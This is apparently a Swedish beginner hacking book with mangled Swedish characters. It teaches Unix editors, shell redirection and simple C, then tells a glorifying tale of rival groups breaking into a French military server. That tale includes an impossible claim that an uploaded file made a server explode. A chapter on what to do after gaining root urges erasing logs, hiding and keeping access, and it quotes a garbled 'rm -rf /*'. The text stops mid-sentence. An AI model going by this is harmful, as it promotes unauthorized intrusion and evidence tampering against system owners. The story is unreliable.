En texteditor r vl allt bra vanligt? Det r ju ngot av det viktigaste i systemet,
utan den vore en dator inte en dator.
UNIX har mnga fler texteditorer som standard, fljer med systemet, n vad Windows har.
Words och Notepad.. Hmms.. UNIX har i alla fall lite fler, Emacs, Pico, Joe, Jed och Vi.
Vi ska titta lite nrmare p dem.



Texteditors

En texteditor r antagligen det viktigaste verktyget i Linux och utan en sdan r du helt frsvarsls.
Det finns ett stort antal editorer och alla har sin personliga favorit.

Ngra vanliga texteditorer:

? Joe

Ganska trevlig att manvrera nr du lrt dig kombinationerna.
Skriv s hr: joe hej, skriv in lite text. Tryck p <CTRL><K> och sen p <X> nr du vill spara och 
avsluta.
Tryck p <CTRL><K> och sedan <H> fr att f se hjlpmenyn.

? Jed

Mer sofistikerad n Joe. Alldeles underbar nr man programmerar. Den identerar och frgar det
man skriver in. Dessutom hjlper den till att hlla reda p parenteser.
Jed r en ganska lyckad blandning av Emacs och Joe.

? Emacs

Otroligt stor och omfattande editor. Det finns en uppsj program specifikt skrivna fr Emacs.
Emacs har ocks en vldigt massa olika lgen, c-mode t.ex. som fixar inledningar och sdant i C-Kod.
Du br frska bekanta dig med Emacs, extremt produktiv enligt fanatikerna. Det r egentligen bara
en editor men emacs r s pass konfigurationsvnligt att folk anvnder det fr att styra sina 
kaffekokare med!

? Vi

Raka motsatsen till Emacs, extremt minimalt och anvndarfientligt. Vldigt mnga tycker dock
att vi r den bsta och snabbaste. nda sen 80-tal har ett religst krig mellan emacs- och vi-fanatiker
rasat. Vid en strre Linux mssa utmanade de varandra i paintball. Det var motiveringen
Smidighet och snabbhet gller i bde textredigering och paintball som vi-laget kamade hem en
snabb seger. Vi uttalas vi-aj. ;-)

? Pico

Linkar edit i DOS. Tmligen enkel att anvnda. Om du tycker att de ovanstende r svrhanterliga
kan du anvnda denna. Om du vill spara en fil trycker du p <CTRL><O>. Avsluta med
<CTRL><X>.  Anvnd valfri editor fr att skriva in fljande program. Jed och Emacs r
speciellt trevliga att nr det gller programmering.

Skriv t.ex. jed exempel.c och skriv in fljande:

#include<stdio.h>
int main(void)
{
int a,b;
printf(Ange tal 1:\n);
scanf(%d, &a);
printf(Ange tal 2:\n);
scanf(%d, &b);
printf(Summan av %d och %d r %d\n!,a,b,a+b);
return 0;
}

Tryck p <Ctrl-X> och <C> nr du vill spara. Nu har du frhoppningsvis upptckt att Jed r bra att
programmera med, eftersom den hjlper till rtt mycket med grammatiken. Kompilera och provkr
programmet:

$ gcc exempel.c
$ ./a.out
Ange tal 1:
4
Ange tal 2:
7
Summan av 4 och 7 r 11


Skalet II

Nu nr du har lrt dig anvnda editorn Jed ngorlunda, kan du terkomma till fler funktioner i
skalet Bash. Om du listar innehllet i din hemkatalog ser det kanske ut s hr:

$ ls
a.out
exempel.c
textfil
textfil2
$

Nu vill du givetvis inte ha sdan oordning i din hemkatalog, det ska vara snyggt och prydligt.
Skapa en katalog till din C-fil. Jag tycker ocks att du skall ta bort a.out.

$ rm a.out
$ mkdir c
$ pwd
/home/kalle
$ ls
c
exempel.c
textfil
textfil2
$ cd c
$ pwd
$ /home/kalle/c
$ ls
$ 

Sedan flyttar du .c-filerna till c-katalogen.

$ mv *.c c/
$ cd c 
$ ls
exempel.c
$ pwd
/home/kalle/c
$ cd ..
$ pwd
/home/kalle
$ ls
c
textfil
textfil2

Gr likadant med de andra filerna, dela in dem i kataloger! =^).

Omdirigering

UTDATA

Programmet cat lser in filen textfil och skriver ut innehllet till utdata, stdout. Det festliga r
att vi kan dirigera om var utdatan ska hamna och om du inte specificerar ngot annat kommer
utdatan till den skrm du tittar p. Men skriver du:

$ cat textfil > textfil3
$

VA!? Inget hnde? Jod.. Utdatan som cat skickade frn textfil, skickades till den nya filen
textfil3.


$ ls
textfil
textfil2
textfil3
$ cat textfil3
Linux r absolut bst

Hr ser du allts, att texten i textfil skickades till en ny fil vid namn textfil3.
Nr vi sedan ppnar filen med cat, s ser vi beviset.. Samma text som i textfil !
Det r ett primitivt stt att kopiera en textfil p. Det funkar dessutom bara p textfiler.
Den andra dirigenten heter <, och r givetvis en mostats till >. Du minns kanske vrt lilla
C-program som frgade efter tv tal; s hr kan du anvnda < operatorn:

INDATA

$ pwd
/home/kalle/c
$ gcc exempel.c o exempel
$ ./exempel
Ange tal 1:
5
Ange tal 2:
6
Summan av 5 och 6 r 11!

Skapa nu en fil i samma katalog som innehller tv tal p varsin rad. Glm inte att avsluta
varje rad med ett radbyte, <ENTER>.

$ ls
exempel
exempel.c
siffror ? (Den nya filen!)
$ cat siffror
23
5
$ ./exempel < siffror
Ange tal 1:
Ange tal 2:
Summan av 23 och 5 r 28!
$

Bra va? Programmet exempel vntar p att tv vrden ska komma frn indata.
Precis som utdata vanligt vis r skrmen, r indata vanligtvis tangentbordet.
./exempel < siffror blir siffror indata fr exempel.
Med hjlp av indata genererar exempelprogrammet lite utdata, och detta kan vi
ocks anvnda.

$ ./exempel < siffror > summa
$ cat summa
Ange tal 1:
Ange tal 2:
Summan av 23 och 5 r 28!
$

Rrledningen |

Den tredje dirigenten fungerar som en rrledning. Det som stoppas in p ena sidan
kommer ut p den andra. Prova att lista innehlet i katalogen /usr/bin (ls /usr/bin).
Jag orkar inte visa hur det ser ut.. (tar fr mycket plats med alla filer ;-) ). 

En vldig
massa filer rusar allts frbi, det r omjligt att hnga med. I DOS hade vi anvnt
DIR med vxeln /P fr att lista filerna i tur och ordning, i den takt vi sjlva hade valt.
Det vi ska gra nu r typ samma sak, men i *NIX format:
ls /usr/bin | more. Genast blev det enklare! Alla filer frn kommandot LS skickades till
more. More r ett program som skriver ut lika mnga rader ur dess indata som fr plats
p skrmen, fast det visste du vl redan. 




Studera fljande:

$ ./exempel < siffror
Ange tal 1:
Ange tal 2:
Summan av 24 och 5 r 28!
$ cat siffror | ./exempel
Ange tal 1:
Ange tal 2:
Summan av 24 och 5 r 28!
 
Precis samma sak i bda fallen! Siffror blir indata t ./exempel!
S.. nog om detta fr den hr gngen. Ni behver smlta sketen ett tag.
Jag kommer g igenom ntverks konfigureringar och snt lite senare i boken.
I nsta Hackers Mentor bok kommer jag prata om X, Bash och
skalprogrammering. Det blir vl ngot att se fram emot?
Har vi tur s hinner jag ocks med att skriva om Emacs och VI, sedan kan
du helt enkelt byta till ett *NIX system utan bekymmer.. S slipper du alla
jobbiga frnedringar om att du r en Winblows user! :-)


Kapitel 2: Programmera i C/C++

Nr du hr att hackers inte anvnder tools, utan att de gr sina
alldeles egna hacking program. (Om de ens behver anvnda mjukvara),
s kanske du tycker att det lter jtte jobbigt och svrt.. Aldrig ens anvnda
Netinfo eller WS_Ping!?, nej just det!
Men det R inte srskiljt svrt.
Jag r ingen C programmerare sjlv, jag gr de flesta av mina program i det
mycket enklare sprket BASIC. (Visual Basic 6).


Men nu r det s att jag har lite grundkunskaper, och jag vill grna
lra er som INTE har ngra grundkunskaper om det, lite grand!
Att skapa ett hacking program i Visual Basic r oerhrt enkelt. I C r det lite svrare,
Srskiljt fr mig. Jag kan typ bara gra ett enkelt matte program i C, eller ett snt dr
som sger Hej! Jag heter ice! Vad heter du?: p en svart bakgrund.

Det tog mig ca: ett r att lra mig VisualBasic s pass bra att jag kunde gra mer avancerade
program som t.ex. trojanen GMT (NetChf 3.0). Det var det vrt!
Det enda som behvdes var resurser fr att skapa programmen, samt en god guide.
Jag lste frst Lttpocket om VisualBasic 5, den boken var min nyckel till programmeringen.
Jag var d bara 13 r. C++ var grekiska fr mig. Senare kpte jag Programmera Internet med
VB 5. Sedan Visual Basic 6 p tre veckor. Klartt!! Nu kan jag det. Bara fantasin r grnsen.


Fr ngra mnader sedan brjade jag lsa C/C++.
Mina kunskaper i VB kom nu till oerhrt stor nytta. Fr det frsta kunde jag skippa allt tjafs
om variabler och logiken var helt klar fr mig. Utan att ha tittat p C tidigare kunde jag nu
frst den kod jag lste p skrmen.

Vad jag vill f fram, vilket sprk du n lr dig s kommer det bli till stor nytta i vilket programmerings
projekt du n tar fr dig.


S.. Vi ska brja programmera i C. Jag frutstter ingen ting! Det enda jag gr efter nu r att du aldrig
tidigare har programmerat, och det jag kommer lra dig om C i den hr boken blir drfr vldigt
simpla och ndvndiga grunder. I nsta bok gr vi vidare, liksom med Unix. 

Jag tnker nu inte, likt alla andra bcker, dra upp historien om vart C kom till, nr, hur etc.
Jag tnker bertta vad det R, hur det fungerar och hur du anvnder det. Lra dig koda och kompilera.
Nog med prat, ivg till C fabriken:


Programmering i allmnhet

Att programmera, r att skriva egna program i ett sprk. I ett programmeringssprk.
C r ett sdant. Det finns mnga andra sprk, Assembler, Perl, BASIC, Cobol, Pascal,
Java, HTML (jo..), CGI, BATCH (hehe.. jo!).. Du har skert hrt om dem. Om du lser
detta s r det 99% troligt att du redan vet allt detta. Tillhr du den sista 1%:en s br du
helt enkelt lgga ner dina planer p hacking. Optimistiskt menat! Gr inte bort dig. ;-D.

Det frsta sprket, med bokstver och s.. Var Fortran. Sedan kom En massa sprk som
nstan ingen av oss 15 ringar har hrt talas om. Frn brjan gjordes program
med hjlp av hlkort. Detta var allts programmeringen, att sticka hl p kort som man
sedan lmnade in till ett datalabb. Sedan vntade man en timma eller tv, fick tillbaka
sitt kort och en utskrift p vad kortet hade stadkommigt. En liten utskrift, en text!
Det tog fr lng tid att springa runt mellan labben och sitt eget hem, s man uppfann
terminaler som anslts till stordatorerna.

Sedan programmerade man med hjlp av sifferkoder. Man skrev ned siffrorna p papper
i och med att man klurade ut hur det hela skulle fungera. Sedan matade man ver siffrorna
till en dator som gjorde om det hela till maskinkod, det r den enda kod som datorn egentligen
frstr. Nollor och ettor. Men sifferkoderna blev fr svra att komma ihg.
Man gjorde drfr om dem till bokstver och ord.
Bokstavskoder. 
Det r vad vi anvnder idag. Sedan mste man kompilera koderna till
maskinkod. Det r fortfarande det enda en dator kan frst. 
De flesta programmeringssprk har som sagt en ganska lika logik.


Objektsorienterad programmering

Vad r det? Om vi sger att JAG r ett objekt. Min ARM r ett annat objekt.
I C kan en knapp vara ett objekt, lika vl som en textruta, ett formulr, eller
till och med ett stycke kod, en variabel, kan ses som ett objekt.

Om vi gr vidare hr, s kan vi se min hjrna och mina muskler som datorn.
En del av hjrnan talar om fr en annan del av hjrnan (datorn) att jag ska lyfta
tre decimeter p armen. Hjrnan fngar upp mitt meddelande (min kod) och skickar
signaler till mina muskler att utfra det jag ville. (Kompilatorn, och allt! Vi kr koden).
Musklerna lyfter armen tre centimeter.

Om vi skrev detta i t.ex. VisualBasic, skulle det kunna likna:

JAG.ARM.Top = Int(JAG.ARM.Top) + 30

JAG r allts jag sjlv, det frsta objektet. Till det objektet hr ARM. Min arm.
.Top  Betyder typ, hjd eller vertikalt vrde. Allts, hur hgt eller lgt armen ska
befinna sig. Int str fr integer och r allts,, ett tal, siffror, nummer, vrde.
Vilket vrde det gller, talar informationen mellan parenteserna om.
(JAGs ARMs hjd placering.). Ok, lite svrt att hnga med? Ls om fr tusan! ?.
Till sist talar vi om hur mycket armen ska hjas. + 30 =  Plus 30 centimeter.
Den ska hjas trettio centimeter, allts, tre decimeter.

Hr ser vi att det huvudsakliga objektet r JAG. JAG r objektet som str i centrum.
Sedan kommer ARM. Min arm, en del av mig, allts ett mindre objekt av mig och ett
fljande och tillhrande objekt av objektet JAG. Sedan kommer ARMns EGENSKAP
En egenskap, kan vara texten i en textruta, storleken p en knapp, bakgrundsfrgen i
programfnstret eller i vrat fall, den vertikala (lodrta) positionen av armen.

Nu har du en ganska fin insikt i objektsorienterad programmering. Det rcker med det nu.
Om du inte frstod, s ls noga igenom det en gng till. Sitt inte och pressa in orden!
Du lr dig det efter hand, du mste inte veta att det heter Objektsorienterad programmering
nnu. Bara du frstr principen och vad jag pratar om. Men det blir ndvndigare senare om
du ska prata programmering med ngon, eller lsa texter om det. Bland annat denna text.

Jag hoppas du frstod.


Variabler

Variabler, om du kan matte s kan du snart detta.
En variabel, kan fungera som en textfil, men det r bara en genvg eller ett stycke kod
som man bara kan anvnda inom en enda programmerings-kod.
Ok, lite CP lt det dr.. Vi tar om det.

KH r en variabel som innehller information om hur bred en knapp r.
Fr att datorn ska frst vad KH r s mste vi deklarera den som en variabel.
Vi mste med andra ord tala om fr kompilatorn att, DETTA R EN VARIABEL -
- SOM INNEHLLER DEN OCH DEN INFORMATIONEN! GLM INTE DEN!
Vi skiter i hur man deklarerar variabeljkeln nu..

KH ska innehlla vrdet 40. Allts, informationen 40. Inget annat! BARA 40!!

Knapp1s bredd kan skrivas s hr:  

Knapp1.Width = Nnting

Nnting ska bytas ut mot knappens bredd i, lt oss sga, centimeter.
Den ska vara 40 centimeter bred sger vi nu.

Knapp1.Width = 40

S!.. Men vi vill vara lite kluriga, s vi skriver inte 40.. vi skriver KH,
eftersom att den VARIABELN innehller samma information, samma vrde!
Det har vi ju talat om fr den, det har vi ju deklarerat!

KH = 40
Knapp1.Width = KH

Knappens bredd blev lika stor som antalet siffror i KH var, i centimetrar.
Allts 40.

Det finns en massa olika sorters variabler. De kan innehlla olika information,
text eller siffror. Jokertecken(#]{]}{@%=&) eller vad som helst!
Hr r en lista ver variabler och dess funktioner och kapacitet:


Sm info om C:

Nstan varje rad kod i C/C++ slutar med ett ;
; ? Allts

En kod i C/C++ brjar alltid med:

main()
{

#Hr skrivs koden in.. Om man anvnder ett # FRE koden, s blir det inte kod, utan text
#som undviks av kompilatorn.
#Koden slutar alltid med:

}


Innan den kod jag visade med main() s skriver man ocks in de filer med olika objekt och
egenskaper som man vill ha med i sitt program.
Med hjlp av dessa filer slipper man skriva en massa jobbig kod sjlv, och fr frdiga 
kodsnuttar och hjlpredskap med sig direkt. Allt man behver r filerna sjlva.
Sedan p slutet s lnkar man ihop och kompilerar alltsammans.
De tv vanligaste filerna som finns med i s gott som alla program heter stdio.h och
conio.h. Dessa lgger man till s hr:

#include <stdio.h>
#include <conio.h>

Sedan skriver man resten av koden.. (main() och det..).
Vi kan ta en liten kodsnutt:

#include <stdio.h>
#include <conio.h>
main()
{
crscr();
printf(Hej! Detta r mitt program i C);
getch();
}

Hr har vi ett oerhrt enkelt program som bara skriver ut  Hej! Detta r mitt program i C  i
ett litet DOS Fnster. Frst talar crscr(); om att man ska rensa skrmen frn annan text,
sedan skrivs textmeddelandet ut med hjlp av printf(blablabla);.
Slutligen en liten avslutande kodsnutt getch();. Alla dessa koder beskrivs lngre ned.

Vi ska inte lra oss s mycket mer om C fr den hr gngen faktiskt.
Vi kan ter behva lite rum att smlta informationen.


Kapitel 3: Inspirationsstund.
Tomteverkstaden

 Det nrmar sig jul i tomteverkstaden.
 Inte den vanliga verkstaden som vi ser p TV varje r.
 Nej, den tomteverkstad jag nu talar om r den som en
 gng fanns i mellersta Sverige. Den tomteverkstaden 
 kallades P.W.I.A.

 P 1990-talet fanns i Uppland och Gstrikland en liten
 hacking organisation som kallades PWIA. Namnet kom frn
 en gammal latinsk symbol fr "den frste, siste och evige guden".
 PWIA kmpade inte som mnga andra, fr att "visa folket vad hacking
 egentligen var". Nej, den hr gruppen var illvilliga och intbundna.
 Det lter frsts som ngot tradititonellt MOD-wannabie projekt. 
 Men.. gruppen var aldrig offentligt knd! De som var med ville inte
 att det skulle vara s heller. 


 Vad gjorde de d?

 Det PWIA sysslade med var att bryta sig in i olika ntverksservrar
 fr att ENBART stlla till med oreda och stta sm spr med namnet
 p organisationen. 

 Allt brjade 1993 nr ngon vid namn 'Gando'
 i organisationen A.C.S (En liknande grupp som PWIA), brjade kaxa
 mot ett gng "lonewolfs" p deras privata kanal.
 Gando utmanade de p kanalen i en "hacking duell" mot A.C.Ss 
 medlemmar. Mlet var en fransk .mil-server som hanterade
 ett militrt SMTP och POP3 system. Samt en hel del sekretess belagd
 data om ngot kustbevaknings system. (Frga mig inte! Jag vet inte mer
 n s om "mlet")

 De viktigaste som stllde upp i "duellen" frn PWIAs sida var:
 Mendator, J1mX, Xevinnah`, JoS33, Bemoreo och Eddies.

 Motspelande frn A.C.S var frmst:
 Neromino, TM, Tatic, HellTecter, Vienci och Gando.


 "Duellen" gde rum 93-02-16.
 
 A.C.Ss deltagande kom in i kanalen dr PWIA gnget fanns klockan 02.00.
 Gando (ledare fr A.C.S) och Eddies (ledare fr PWIA) hade ett privat
 samtal p ungeffr 5 minuter. Vad som sas dr vet man inte. Men nr dom
 var klara verkade den upphettade stmmningen ha stigit och adrenalinet
 sg ut att rysa igenom hela kanalen. I kanalen fanns just d ungeffr
 femtio personer som hade hrt om duellen, och som nu satt och vntade
 p att allt skulle stta igng. Frsta personen som:

 * ndrade startsidan p www.___.mil sidan,
 * Tog hem den krypterade informationen,
 * Lmnade sin grupps signalement p servern
 
 skulle genast rapportera om det i Topic fr kanalen.
 D skulle genast alla operationer avbrytas och man skulle
 brja kolla vem av de bda som verkligen HADE vunnit.
 
 Startsignalen gick i form av ett 'BLEEP' till alla OPens datorer.
 tiden gick.. ingen verkade vara vid livet frutom alla users som
 fortfarande inte visste att tvlingen hade brjat. Folk brjade
 trada CCs och shell accounts under tiden som ett svettigt arbete
 pgick i andra nden av IRC.
 
 Pltsligt ndrades topic!:

 "\\P.W.I.A//  * GAME OVER *  \\P.W.I.A//"

 PWIA visade direkt A.C.S sin kraft. Gando erknnde senare att han blivit
 riktigt frvnad ver hur ltt P.W.I.A verkade ha knppt den militra servern.
 
 Ja. Nu hade PWIA bevisat sina sk!11z. Det Eddies nu hade p sin dator var
 5.3 GB krypterad data som skulle till att dekrypteras.
 Han bar med sig hrddisken till "tomteverkstaden". Han valde frstss att g dit
 tidigt p morgonen nr nnu inga andra PWIA medlemmar hade kommit.
 Eddies slog igng de femton universitets datorer som stod utspridda i kllar lokalen.
 Datorerna var igng, och s var ven cracking programmen! 
 Innan den frsta PWIAren anlnde till lokalen hade Eddies lyckats dekryptera
 runt femton olika nyklar som alla ledde till olika delar av den krypterade disken. 
 De andra medlemmarna tyckte frstss att det var vldigt
 spnnande och roligt att f lsa de hemliga dokument om kustfrsvar som den
 franska militrbas de hade hackat, hade uppfunnit. 

 Tv veckor gick. Snart hade PWIA lyckats dekryptera hela den bunt av data som
 de fick av militrservern. Eddies hade kunnat tjna _MYCKET_ p att slja det
 material han nu hade. Men inte! Eddies hade andra planer. Mer om DET vet jag
 inte. Ingen annan n Eddies vet nog det heller. 
 
 
 ---- CHOCKEN ----

 Den stora smllen mot PWIA kom i Oktober r 1995 nr Bemoreo och en annan 
 PWIA medlem vid namn WexWinyl hackade sig runt p en obevakad IRC server.
 Samtidigt som de bda roade sig med att radera adresser frn OP listorna
 p #USA och #Australia. s satt vr gamle erkefiende Gando och ett gng till
 bakom ett par svarta datorer i Ryssland och scannade efter datorer med
 hostname endelser p *@*.pwiq.net. Vilket tillhrde PWIA! (duhh!!).
 Och foo,, de hittade snart Bem och Wex.

 Ngon port stod ppen rakt igenom firewallen och sorry PWIA... A.C.S tog sig
 p tv minuter in i PWIAs ntverk och hade snart root access till huvuddatorn
 som ocks frvarade den OKRYPTERADE versionen av den franska datorn.
 A.C.S la sina vantar p informationen och gick under jorden.
 Men PWIA var inte njda s.

 Snart frhandlade Eddies och Gando p nytt om ett konfronterande projekt,
 denna gng handlade det inte om att ta sig in i ngon server. Man skulle nu
 gra slut p varandras organisationer s gott man kunde.

 Sagt och gjort.
 PWIA och ACSs medlemmar mttes nu p en ny kanal. Utanfr newbies och
 andra skdares vetskap. 

 Det enda Eddies var intresserad av var att frstra det som A.C.S hade
 stulit frn hans dator. Eddies frskte drfr hlla sig avsides frn
 allt OOBnde och floodande. Nu skulle han hitta Gandos dator!
 
 Eddies skte, letade, rotade omkring i allt han kom ver.
 Snart hade han IP adressen till Gandos dator som stod frvarad
 djupt nere i en kllare i det frslutna kassaskp som Gando
 hade investerat i. Dum som han var s hade han alltid datorn
 online som en hemlig server dr han kunde hmta och lagra filer.
 
 Eddies hade varken tkomst att ladda hem, radera, lsa eller skriva.
 Men han hade mjligheten att ladda upp filer.
 Eddies ville INTE riskera att de hemliga datan som Gando hade stulit
 skulle g att rdda. PLAN DONE! Eddies hade nu inget annat val n att
 skicka den mrka fil som han arbetat p i fem mnader.
 %FTP.Sending STOR **-**.

 Vad hnde?

 Har ni aldrig hrt talas om de hemska virus som kan drabba din dator?
 - Servern exploderade. 
 Eddies hade detonerat en fjrrstyrd bomb! Genom att skicka den fil
 som eddies hade till Gandos dator, och placera den i autorun registret,
 s hade Gando inget annat val n att ovetande invnta en explosion i sin
 vlslutna kllare. Nej, ingen mniska kom till skada. Bara Gandos dator
 och lskade kassaskp! ;). 
 Ok, lokalen mste ha blsts ut. Men Gando har sjlv berttat att inget 
 annat n serverdatorn fanns i lokalen nr explosionen skedde.

 Annars...?
 Det krig som hrjade p ntet mellan de tv organisationerna slutade 
 s gott som oavgjort.
 Ett tiotal datorer hade raderats, en server hade sprngts och ett 
 av A.C.Ss mest betydande ntverk fick tas ur anvndning i mer n
 ett r! En sdan server som Gando hade kostade 1995 inte lite pengar!
 
 A.C.S hade vid det hr laget STOR respekt fr PWIA.
 Gando skulle inte komma p tanken att brka mot Eddies igen.
 Men trotts allt detta fortsatte vissa att brka med varrandra.
 
 r 1997 verkade s gott som allt vara dtt. 
 En dag ringde telefonen hemma hos Tatic. (Operatr p A.C.S).
 Han fick erbjudandet att brja jobba som skerhets ansvarig p det stora
 fretaget Netcom i USA. Fler och fler fick erbjudanden om vlbetalda jobb.
 Fler och fler kunde inte lngre stanna i sina organisationer.
 Efter ett tag splittrades allt upp och ingen trodde p ngon eller ngot som
 skulle terfra dem till de gamla grupperna.

 D satt kreativiteten igng i Eddies. Han samlade ihop ngra av de gamla
 medlemmarna och skaffade en del nya. Han kom p ett system med vilket
 han kunde betala sina medlemmar och p s stt kunde nu hlften av de
 gamla, goda operatrerna och medlemmarna stanna kvar i gruppen eller
 vara med ver halvren. Det andra halvret gick till respektabla 
 ntverks och mjukvaru fretag. Mestadels i Amerika.
 Gando brjade flja deras struktur men hade snart inte lngre tid och
 ork att fortstta. Gandos hgra hand "TM" fick nu ta ver ledarskapet.
 Och det klarade TM bra! Eddies och TM r nu de ledare som varit med i
 sina organisationer allt sedan 1980-talet. 

 ---------------------------------------------------------------------------

 FLYTTEN


 r 1998 kunde inte lngre de vlbetalda hackarna frn Sverige stanna kvar
 i sina kllarlokaler i Gstrikland och Uppland. De flesta flyttade till
 USA och bosatte sig dr. S, om medlemmarna flyttade, s fick ocks
 organisationerna flytta. A.C.S har dock mestadels sina medlemmar kvar
 i Sverige, och ett par har flyttat till USA, Finland och Norge.
 Gando vet man inte riktigt VART han bor. Men enligt TM s ska han
 finnas vid den Grekiska riveran dr han slappnar av och har det sknt.
 Gando r nu, r 2000, 48 r gammal. Eddies r cirka 46.
 TM r 32 och de andra,, mellan 20 och 40.

 A.C.S Har idag ungeffr 20 medlemmar.
 P.W.I.A Hade nr detta skrevs 32 medlemmar.

 Varav dessa har A.C.S fortfarande kvar
 7 gamla, hederliga operatrer och
 en del hackers och crackers som gtt med p 
 senare tid.

 P.W.I.A har fortfarande alla sina gamla medlemmar
 kvar. Tror jag. Kanske en eller tv har
 backat ur p grund av flytten mm.. Men visst,
 de trffas fortfarande bde IRL och ver ntet.


 Arbetet i tomteverkstaden fortstter,, till dunkande trance och goa.
 Vra megahackers till tomte-snickare lever i det varma och hrliga
 USA & kring det underbara sderhavet.

 Lugn! De lever fortfarande! Du kan fortfarande f trffa dem!
 ven om det s r fr en kort stund och ver IRC, s tycker jag
 att det r vrt att leta.
  
 Eligt kllor kan du hitta medlemmar ur de gamla grupperna p
 undernet IRC och t.o.m. DALNet! Leta p kanalerna 
 #PWIA , #ACS, #Hackers , #Hacktech och #BIOS
 efter vra gamla vnner. 





 == Till er medlemmar som lser: ==
 ================================== 
  VI VNTAR MED SPNNING P
  NSTA MATCH! VI VNTAR P EN
  YTTERLIGARE DUELL! OM DET BLIR
  EN.. TALA D OM DET FR OSS!
  =)  // VI DDLIGA MNISKOR. =)
 ==================================


Kapitel 4: Vad du gr nr du ftt root i ett system.
Anvnda Unix och telnet fr att g vidare i ditt hackade system.

Nr du har suttit i timmar fr att ta dig in i ett system, lt oss sga target.com,
och nr du till sist har lyckats.. s sitter du dr och tnker, 
JA! Jag r inne!, s vad gr jag nu??.
Svaret du kommer ge dig sjlv r kanske:
testar att skriva HELP,, du fr upp en massa kommandon
och sedan testar du ngra av dem.
Sorry! Du testade fel kommando p fel stt!
Rkade bara skriva:
rm fr /* 
eller? P ngra sekunder var det roliga ver, tyvrr kanske
ngon nra stende loggade det hela, snart kommer kanske polisen och knackar
p drren.. Du gjorde fel, med anda ord.
(Kommandot rm fr /* - tar bort alla filer p disken).

Ne, nu nr du har ftt root, finns det vissa regler och etiker som du mste flja,
Det finns vissa saker som du br gra, och det finns saker du br undvika.
Du mste kunna radera och ndra i loggar, du mste gra dig osynlig och behlla din
root access. (Det r inte allt fr sllan som erfarna admins byter lsenord..)

S. Ls detta kapitel fr att frst vad du behver gra och hur du gr det!

Fr det frsta hoppas jag att du har en anledning till varfr du har tagit dig in i systemet.
Annars kan du inte precis kalla det fr hacking. Du kan inte kalla dig fr hacker om du bara
rkade gra ett slumpmssigt hack. Du bara rkade trilla in i ett system som du inte vet
vad det ens r. Du kanske bara scannade efter exploit-bara system och hittade ett som du
krde den hemladdade exploiten p.?

Du ska absolut inte ta bort filer, ladda hem eller upp filer innan du vet hur man fixar loggarna,
du ska i princip inte gra ngonting innan du VET hur du rensar upp efter dig och hur du gr
dig sjlv osynlig fr andra.

Ok, praktik ger bsta resultat, s jag freslr att du skaffar dig ett shellkonto hos ngon 
Internetleverantr om du inte redan har det. Du kan va dig lite dr, gr inget dumt bara ;-).

Du har lrt dig en del om Unix/Linux hr i boken nu, s du kan nog en del kommandon redan,
men hr r en liten lista ver de viktigaste, de r versatta mellan DOS och UNIX sprk:

DOS:       UNIX:

DIR/W      = ls
DIR        = ls -l
DIR/AH     = ls -al  AH=(dld) -al=(include hidden files as well as regular)
RENAME     = mv
ATTRIB     = chmod
MD         = mkdir
RD         = rmdir
DEL        = rm
COPY       = cp

Ok.. S nu har du det klart fr dig..?
Du kan lsa mer om kommandona genom att kolla deras man sidor.

Om du skriver cd utan de tv , och klickar {ENTER}, s kommer du automatiskt tillbaka
till din hemkatalog.  Kommandot: cp filnamn $HOME  kommer att kopiera det specifierade 
filnamet (filen) till din hemkatalog. 
cd ~anvndarnamn - Tar dig till den valda anvndarens konto, om du har rttigheten att 
vara dr. Skriv pwd och klicka {ENTER} fr att se vart i filsystemet du befinner dig.

Nr vi nu har loggat in i systemet, och vr prompt heter bash$, s kan vi brja kolla runt:

bash$

bash$ cd /tmp
bash$ ls -l
total 783
-rwx------   1 wood     users           1 Jan 25 18:28 19067haa
-rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
-rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
-rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens

Observera hr att den gamla hederliga DOS backslashen har bytts ut mot slash,
( DOS = \ )
(UNIX = / )
C:\tmp\ hade det kanske varit i Windows, men i Unix r det /tmp.
Ovanfr det dr /t finns inget. Det r rooten. /tmp r en undermapp till den hgsta grenen i
filsystemet. Andra undermappar till / r t.ex. root, lost&found, bin och etc.
Det talade jag ju om tidigare!

S .. detta gav oss vl inte s mycket rolig information? Vi testar samma kommando med
vxlarna a och l:

bash$ ls -al
total 794
drwxrwxrwt   4 root     root         8192 Jan 25 23:05 .
drwxr-xr-x  22 root     root         1024 Dec 28 18:07 ..
-rw-r--r--   1 berry    users           6 Jan 25 23:05 .pinetemp.000
drwxr-xr-x   2 berry    users        1024 Jan 25 23:05 .test
-rwx------   1 wood     users           1 Jan 25 18:28 19067haa
-rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
-rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
-rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens

S.. nu fick vi lite mer. Det som lades till var .pinetemp.000 och .test.
Att dessa tv lades till beror p att de r dolda filer. Med vxlarna a och l, (a rcker),
s fick vi se ven dolda filer/kataloger). Vi kan ocks se att .test var en katalog.

Det ska vi prata lite mer om nu strax. Vi behver frst lra oss om rttigheter!


Skda exemplet:

-rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
----------
| |  |   |--------> Other = Vem som helst p datorns tkomst
| |  |------------> Group = Vissa gruppes tkomst
| |---------------> User  = Bara garens tkomst
|-----------------> Katalog eller Fil. Det visas hr.

S nu fick ni hr se, att det r denna rwgrej som visar vilken access olika personer
har till filen/katalogen i frga. Den raden kan de ut lite hur som helst, det beror p vilka
som har vilken tkomst/tillgng/mjlighet/access till filen/katalogen.
Vi kan ta ett exempel:

- rw- r-- r--
| |   |   |--------> vriga kan bara lsa filen.
| |   |------------> Gruppen kan bara lsa filen.
| |----------------> garen kan lsa och skriva till filen.
|------------------> Det r inte en katalog


- rwx rwx r-x
| |   |   |--------> vriga anvndare kan lsa och kra filen.
| |   |------------> Gruppen kan lsa, skriva till och kra filen.
| |----------------> garen kan lsa, skriva till och kra filen.
|------------------> Det r en katalog

Ok, s nu kanske du har frsttt vad de olika bokstverna str fr?:

R = Read (Ls rttighet, man fr lsa/ppna filen, se innehllet).
W = Write (Skriva till, redigera, ta bort filen, byta namn eller flytta den).
X = Execute (Kra filen om det r ett program/procedur/kommando).
- =  Uppgift saknas (t.ex. om filen inte r en katalog, eller om en rttighet saknas. 
          Om det R en katalog s str ett d i brjan av raden. Annars r det ett strck.)

Nr du har root kan du ndra rttigheter med mer fr alla filer och kataloger
